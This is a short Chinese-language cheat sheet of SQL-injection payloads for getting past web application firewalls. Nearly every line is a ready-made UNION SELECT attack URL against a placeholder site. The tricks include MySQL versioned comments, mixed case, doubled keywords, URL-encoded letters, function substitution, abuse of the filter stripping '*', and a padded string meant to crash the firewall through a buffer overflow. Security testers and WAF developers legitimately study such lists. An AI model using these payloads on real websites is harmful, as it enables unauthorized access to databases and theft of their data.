基本/简单绕过方法
1.注释符
http://www.xxx.com/index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
2.使用大小写
http://www.xxx.com/index.php?page_id=-1 uNIoN SeLEct 1,2,3,4…
3.结合前面两种方法
http://www.xxx.com/index.php?page_id=-1 /*!unIOn*//*!SelECT*/ 1,2,3..
4.关键字替换
http://www.xxx.com/index.php?page_id=-1 UNIunionON SELselectECT 1,2,3,4…
适用于一些会把union select替换掉的WAF
5.内部注释
http://www.xxx.com/index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
高级绕过方法
1.使用其他变量或者命令对注入语句进行替换
group_concat() | concat_ws()
@@version | version()
concat() | concat_ws()
COMMAND | WHAT TO USE INSTEAD
2.对字母进行编码
http://www.xxx.com/index.php?page_id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3.利用WAF本身的功能绕过
若发现WAF会把”*”替换为空,则可以利用这一特性来绕过
http://www.xxx.com/index.php?page_id=-1+un*ion+se*lect+1,2,3..
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
4.缓冲区溢出使防火墙崩溃
大部分防火墙都是基于c/c++开发,故可以使用缓冲区溢出使WAF崩溃
http://www.xxx.com/index.php?page_id=-1+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4
使用如下方法测试WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4